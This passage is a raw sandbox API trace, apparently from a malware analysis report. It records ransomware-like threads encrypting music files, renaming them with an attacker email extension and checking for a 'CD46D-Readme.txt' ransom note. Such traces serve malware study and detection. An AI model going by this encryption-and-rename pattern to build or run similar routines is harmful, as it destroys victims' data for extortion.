RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e04fc0) returned 1 [0065.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5c10) returned 1 [0065.949] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418c08) returned 1 Thread: id = 771 os_tid = 0xee4 [0051.531] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\eawlranxlb6tut.m4a")) returned 0x20 [0051.531] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a", dwFileAttributes=0x20) returned 1 [0052.515] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\eawlranxlb6tut.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd3c [0052.515] GetFileSizeEx (in: hFile=0xd3c, lpFileSize=0x1316f7b8 | out: lpFileSize=0x1316f7b8*=17986) returned 1 [0052.516] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x463e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.516] ReadFile (in: hFile=0xd3c, lpBuffer=0x1316f73c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1316f738, lpOverlapped=0x0 | out: lpBuffer=0x1316f73c*, lpNumberOfBytesRead=0x1316f738*=0x4, lpOverlapped=0x0) returned 1 [0052.516] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.516] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9288 [0052.516] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9300 [0052.516] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9328 [0052.516] NtQuerySystemTime (in: CurrentTime=0x1316f718 | out: CurrentTime=0x1316f718*=132174898165020000) returned 0x0 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x23a0f401 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x6500eb8d [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x4952bc20 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x69d6a429 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x5129f143 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x6cb7bcd [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x2da6f77c [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x4668161d [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x6fb5beed [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x2bdc03b4 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x27aebbc [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x2a7deaae [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x5bf62a76 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x2538930a [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x156d1caa [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0xcae71b0 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x2168ed7a [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x7bfb21ad [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0xce3dd96 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x565b971f [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x1bbc0162 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x16dc82ec [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x5dab1282 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x43209a2 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x77fdd078 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x2e3602b3 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0xa1b698a [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x8c2cbed [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x679aaa05 [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x52cc0eae [0052.517] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x534c701 [0052.518] RtlRandomEx (in: Seed=0x1316f724 | out: Seed=0x1316f724) returned 0x1f32180a [0052.531] ReadFile (in: hFile=0xd3c, lpBuffer=0x12f3eab0, nNumberOfBytesToRead=0x4642, lpNumberOfBytesRead=0x1316f714, lpOverlapped=0x0 | out: lpBuffer=0x12f3eab0*, lpNumberOfBytesRead=0x1316f714*=0x4642, lpOverlapped=0x0) returned 1 [0052.531] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.531] WriteFile (in: hFile=0xd3c, lpBuffer=0x194d0048*, nNumberOfBytesToWrite=0x4642, lpNumberOfBytesWritten=0x1316f710, lpOverlapped=0x0 | out: lpBuffer=0x194d0048*, lpNumberOfBytesWritten=0x1316f710*=0x4642, lpOverlapped=0x0) returned 1 [0056.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429250 [0056.412] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292a0 [0056.413] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292a0) returned 1 [0056.413] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194d0048) returned 1 [0056.413] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f3eab0) returned 1 [0056.413] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e462c8) returned 1 [0056.413] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402528) returned 1 [0056.413] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x409f28 [0056.413] SetFilePointerEx (in: hFile=0xd3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.413] WriteFile (in: hFile=0xd3c, lpBuffer=0x5efe030*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x1316f778, lpOverlapped=0x0 | out: lpBuffer=0x5efe030*, lpNumberOfBytesWritten=0x1316f778*=0x115, lpOverlapped=0x0) returned 1 [0056.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe030) returned 1 [0056.582] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a168) returned 1 [0056.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292a0) returned 1 [0056.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x409f28) returned 1 [0056.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429250) returned 1 [0056.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9300) returned 1 [0056.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9350) returned 1 [0056.583] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9378) returned 1 [0056.583] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d970 [0056.583] wcscpy (in: _Dest=0x40d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a" [0056.583] wcscat (in: _Dest=0x40d970, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0056.583] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1316f730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\EawlraNxLB6TUT.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.583] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x5ed6e20 [0056.732] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed6e20) returned 1 [0056.732] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d8058) returned 1 [0056.732] NtQueryInformationFile (in: FileHandle=0xd3c, IoStatusBlock=0x1316f73c, FileInformation=0x1316f714, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1316f73c, FileInformation=0x1316f714) returned 0x0 [0056.732] NtSetInformationFile (FileHandle=0xd3c, IoStatusBlock=0x1316f73c, FileInformation=0x1316f714, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.733] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d970) returned 1 [0056.733] FlushFileBuffers (hFile=0xd3c) returned 1 [0056.813] CloseHandle (hObject=0xd3c) returned 1 [0056.831] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x417c50 [0056.831] wcscpy (in: _Dest=0x417c50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0056.831] wcscat (in: _Dest=0x417c50, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" [0056.831] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt")) returned 0x20 [0056.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x417c50) returned 1 [0056.831] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4172c0) returned 1 Thread: id = 772 os_tid = 0xef4 [0051.531] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\jox0ix.m4a")) returned 0x20 [0051.531] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a", dwFileAttributes=0x20) returned 1 [0052.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\jox0ix.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd40 [0052.532] GetFileSizeEx (in: hFile=0xd40, lpFileSize=0x131ff984 | out: lpFileSize=0x131ff984*=55665) returned 1 [0052.532] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0xd96d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.532] ReadFile (in: hFile=0xd40, lpBuffer=0x131ff908, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x131ff904, lpOverlapped=0x0 | out: lpBuffer=0x131ff908*, lpNumberOfBytesRead=0x131ff904*=0x4, lpOverlapped=0x0) returned 1 [0052.533] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.533] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9288 [0052.533] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9328 [0052.533] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93a0 [0052.533] NtQuerySystemTime (in: CurrentTime=0x131ff8e4 | out: CurrentTime=0x131ff8e4*=132174898165176000) returned 0x0 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x337ef055 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x1b140fe1 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x43c04dc [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x20fcffd6 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x7b6670f2 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x53f8093e [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x7241a461 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x4a3848f5 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x7e53fbcc [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x42d1b0ec [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x2e939d69 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x480ade7f [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x188f595c [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x5498d3bc [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x7e363e78 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x47513d5f [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x676e4df1 [0052.533] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x3adbd25a [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x136ad0f0 [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x7fb564ba [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x1acb6cc5 [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x4827c0bd [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x3fec0811 [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0xabd0794 [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x6e1beeee [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x6f0cbac9 [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0xc1c6b79 [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x46c79894 [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x53802aa9 [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x3a976c5b [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x6b583075 [0052.534] RtlRandomEx (in: Seed=0x131ff8f0 | out: Seed=0x131ff8f0) returned 0x71375dad [0052.566] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.566] ReadFile (in: hFile=0xd40, lpBuffer=0x194dc850, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x131ff8c4, lpOverlapped=0x0 | out: lpBuffer=0x194dc850*, lpNumberOfBytesRead=0x131ff8c4*=0xc800, lpOverlapped=0x0) returned 1 [0052.566] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.566] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44be08 [0052.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437238 [0052.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9288 [0052.567] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9288) returned 1 [0052.567] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x194e9058 [0052.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9288 [0052.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93a0 [0052.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e93a0) returned 1 [0052.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437238) returned 1 [0052.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be08) returned 1 [0052.572] WriteFile (in: hFile=0xd40, lpBuffer=0x194e9058*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x131ff8c4, lpOverlapped=0x0 | out: lpBuffer=0x194e9058*, lpNumberOfBytesWritten=0x131ff8c4*=0xc800, lpOverlapped=0x0) returned 1 [0056.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194e9058) returned 1 [0056.415] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194dc850) returned 1 [0056.415] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cea80 [0056.415] SetFilePointerEx (in: hFile=0xd40, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.415] WriteFile (in: hFile=0xd40, lpBuffer=0x95d0848*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x131ff944, lpOverlapped=0x0 | out: lpBuffer=0x95d0848*, lpNumberOfBytesWritten=0x131ff944*=0x105, lpOverlapped=0x0) returned 1 [0056.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0848) returned 1 [0056.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceab0) returned 1 [0056.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429278) returned 1 [0056.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea80) returned 1 [0056.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9288) returned 1 [0056.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9328) returned 1 [0056.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e93c8) returned 1 [0056.584] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e93f0) returned 1 [0056.584] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d910 [0056.584] wcscpy (in: _Dest=0x12f4d910, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a" [0056.584] wcscat (in: _Dest=0x12f4d910, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0056.584] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x131ff8fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\Jox0ix.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.584] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d41c0 [0056.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d41c0) returned 1 [0056.735] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d8280) returned 1 [0056.735] NtQueryInformationFile (in: FileHandle=0xd40, IoStatusBlock=0x131ff908, FileInformation=0x131ff8e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x131ff908, FileInformation=0x131ff8e0) returned 0x0 [0056.735] NtSetInformationFile (FileHandle=0xd40, IoStatusBlock=0x131ff908, FileInformation=0x131ff8e0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.737] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d910) returned 1 [0056.737] FlushFileBuffers (hFile=0xd40) returned 1 [0056.813] CloseHandle (hObject=0xd40) returned 1 [0056.832] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4172c0 [0056.832] wcscpy (in: _Dest=0x4172c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0056.833] wcscat (in: _Dest=0x4172c0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" [0056.833] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt")) returned 0x20 [0056.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4172c0) returned 1 [0056.833] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07c98) returned 1 Thread: id = 773 os_tid = 0xefc [0051.532] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\ljojw.mp3")) returned 0x20 [0051.532] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3", dwFileAttributes=0x20) returned 1 [0052.572] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\ljojw.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd44 [0052.572] GetFileSizeEx (in: hFile=0xd44, lpFileSize=0x1326fb48 | out: lpFileSize=0x1326fb48*=52844) returned 1 [0052.572] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0xce68, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.572] ReadFile (in: hFile=0xd44, lpBuffer=0x1326facc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1326fac8, lpOverlapped=0x0 | out: lpBuffer=0x1326facc*, lpNumberOfBytesRead=0x1326fac8*=0x4, lpOverlapped=0x0) returned 1 [0052.573] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93a0 [0052.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9418 [0052.573] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.573] NtQuerySystemTime (in: CurrentTime=0x1326faa8 | out: CurrentTime=0x1326faa8*=132174898165488000) returned 0x0 [0052.573] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x80d32c9 [0052.573] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x668b1860 [0052.573] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x2dfcfd24 [0052.573] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x57d9c5e0 [0052.573] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x5b14b59 [0052.573] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x34306600 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x11255fbe [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x45641d04 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x776270e1 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x3f56b009 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 